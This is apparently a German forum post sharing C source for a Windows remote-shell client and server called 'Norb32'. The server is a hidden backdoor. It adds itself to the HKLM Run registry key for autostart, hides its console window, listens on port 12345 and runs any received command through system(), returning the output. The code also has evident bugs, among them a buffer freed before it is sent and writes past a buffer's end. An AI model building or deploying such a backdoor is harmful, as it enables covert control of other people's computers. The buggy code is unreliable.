Was ganz einfaches, nicht von mir programmiert.

Das erste ist der Client, das Zweite ist der Server.

Code:
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>



int startWinsock(void);
	int main()
		{
  	 	long rc;
      SOCKET s;
      SOCKADDR_IN addr;
      char buf[900];
      char buf2[900];
      char ip[20];
      unsigned short port;
// Winsock crap
      rc = startWinsock();

      printf("This is the Client for Norb32 Server © CC_IP 2006\nTaste druecken um Client zu starten!\n");
      getch();
  	   if(rc!=0)
      	{
     	 	printf("Fehler: startwinsock, fehler code: %d\n",rc);
      	return 1;
      	}
      	else
      	{
      	printf("Winsock gestartet!\n");
      	}

		   s=socket(AF_INET,SOCK_STREAM,0);
         if(s==INVALID_SOCKET)
         {
         printf("Fehler: Der socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError());
         return 1;
         }
         else
         {
         printf("Socket erstellt!\n\n");
         }
	printf("IP to connect: ");
   gets(ip);
   fflush(stdin);
   printf("Port to connect [12345]: ");
   scanf("%d",&port);
   fflush(stdin);


   memset(&addr,0,sizeof(SOCKADDR_IN));
   addr.sin_family=AF_INET;
   addr.sin_port=htons(port);
   addr.sin_addr.s_addr=inet_addr(ip);

   rc=connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR));

   if(rc==SOCKET_ERROR)
   	{
      printf("Fehler: connect gescheitert, kein Server gefunden, fehler code: %d\n",WSAGetLastError());
      }
      else
      {
      printf("Verbunden mit %s:%d\n",ip,port);
      }

  while(rc!=SOCKET_ERROR)
  {
    printf("\nCommand [max 700]: ");
    fflush(stdin);
    gets(buf);
    send(s,buf,strlen(buf),0);
    rc=recv(s,buf2,900,0);
    if(rc==0)
    {
      printf("Ungueltiger Befehl, Server shuting down!\n");
      break;
    }
    if(rc==SOCKET_ERROR)
    {
      printf("Fehler: recv, fehler code: %d\n",WSAGetLastError());
      break;
    }
    buf2[rc]='\0';
    printf("\nRemoteshell says: %s ", buf2);
  }
      getch();
	   }
      int startWinsock(void)
      	{
  	 WSADATA wsa;
    return WSAStartup(MAKEWORD(2,0),&wsa);
 	  		}

// Developed by CC_IP 

// i know this clientprogramm is easily exploitable...
Code:
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define NUM_ELEMENTS(x)  (sizeof((x)) / sizeof((x)[0]))                     //needed for ip dedect



int startWinsock(void);
	int main()
		{
  	 	long rc;
      SOCKET acceptSocket;
      SOCKET connectedSocket;
      SOCKADDR_IN addr;
      char buf[256];
      char buf2[300];
//runit:   //dont compile
//Run programm on system startup
  HKEY hkey;
  HKEY KEY = HKEY_LOCAL_MACHINE;
  char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
  char name[100]= {"Autostart"};
  char value[100]= {"C:\\Programme\\n32s.exe"};

  RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
  RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
  RegCloseKey(hkey);

//dedect own ip
struct hostent* h;
  WSADATA wsaData;
  UCHAR   ucAddress[4];
  CHAR    szAddressInfo[64];
  CHAR    szHostName[MAX_PATH];

    WSAStartup(MAKEWORD(1, 1), &wsaData);
    if(SOCKET_ERROR != gethostname(szHostName, NUM_ELEMENTS(szHostName)))
    {
        if(NULL != (h = gethostbyname(szHostName)))
        {
            for(unsigned x = 0; (h->h_addr_list[x]); x++)
            {
                ucAddress[0] = h->h_addr_list[x][0];
                ucAddress[1] = h->h_addr_list[x][1];
                ucAddress[2] = h->h_addr_list[x][2];
                ucAddress[3] = h->h_addr_list[x][3];
            }
        }
    }
    WSACleanup();


//Starting winsock
		rc = startWinsock();

//hide the server
    HWND hwnd = FindWindow("ConsoleWindowClass",NULL);
   ShowWindow(hwnd,SW_HIDE);

//winsock shit
      printf("Norb32 Server © CC_IP 2006\n");
  	   if(rc!=0)
      	{
     	 	printf("\nFehler: startwinsock, fehler code: %d\n",rc);
      	return 1;
      	}
      	else
      	{
      	printf("\nWinsock gestartet!\n");
      	}

		   acceptSocket=socket(AF_INET,SOCK_STREAM,0);
         if(acceptSocket==INVALID_SOCKET)
         {
         printf("\nFehler: Der socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError());
         return 1;
         }
         else
         {
         printf("\nSocket erstellt!\n");
         }



   memset(&addr,0,sizeof(SOCKADDR_IN));
   addr.sin_family=AF_INET;
   addr.sin_port=htons(12345);
   addr.sin_addr.s_addr=inet_addr(szAddressInfo);

   rc=bind(acceptSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));

   if(rc==SOCKET_ERROR)
   	{
      printf("\nFehler: bind gescheitert, fehler code: %d\n",WSAGetLastError());
      }
      else
      {
      printf("\nSocket an Port 12345 gebunden\n");
      }

      rc=listen(acceptSocket,10);
      if(rc==SOCKET_ERROR)
      {
      printf("\nFehler: listen, fehler code: %d",WSAGetLastError());
      }
      else
      {
      printf("\nacceptSocket ist im Listen Modus warte auf Verbindung...\n");
      }

      connectedSocket=accept(acceptSocket,NULL,NULL);
      if(connectedSocket==INVALID_SOCKET)
      	{
         printf("Fehler: accept, fehler code: %d\n", WSAGetLastError());
         }
         else
         {
         printf("Neue Verbindung wurde akzeptiert!\n");
         }
// transfer data
  while(rc!=SOCKET_ERROR)
  {
    rc=recv(connectedSocket,buf,256,0);
    if(rc==0)
    {
      printf("Server hat die Verbindung getrennt..\n");
      break;
    }
    if(rc==SOCKET_ERROR)
    {
      printf("Fehler: recv, fehler code: %d\n",WSAGetLastError());
      break;
    }
//terminate string
    buf[rc+9]='\0';
//paste in file
    buf[rc]='>';
    buf[rc+1]='c';
    buf[rc+2]=':';
    buf[rc+3]='\\';
    buf[rc+4]='a';
    buf[rc+5]='.';
    buf[rc+6]='t';
    buf[rc+7]='x';
    buf[rc+8]='t';
//run this on system
    system(buf); 




    FILE * pFile;
  long lSize;
  char * buffer;

  pFile = fopen ( "c:\\a.txt" , "rb" );
  if (pFile==NULL) exit (1);

// obtain file size
  fseek (pFile , 0 , SEEK_END);
  lSize = ftell (pFile);
  rewind (pFile);

// allocate memory to contain the whole file
  buffer = (char*) malloc (lSize);
  if (buffer == NULL) exit (2);

// copy the file into the buffer
  fread (buffer,1,lSize,pFile);

/*** the whole file is loaded in the buffer ***/

// terminate
  fclose (pFile);
  free (buffer);
       rc=send(connectedSocket,buffer,strlen(buffer),0);



  }
//close the winsockcrap
  closesocket(acceptSocket);
  closesocket(connectedSocket);
           }
      int startWinsock(void)
      	{
  	 WSADATA wsa;
//goto runit;     //dont compile
    return WSAStartup(MAKEWORD(2,0),&wsa);
 	  		}


// Developed by CC_IP 
// i know this serverprogramm is easily exploitable...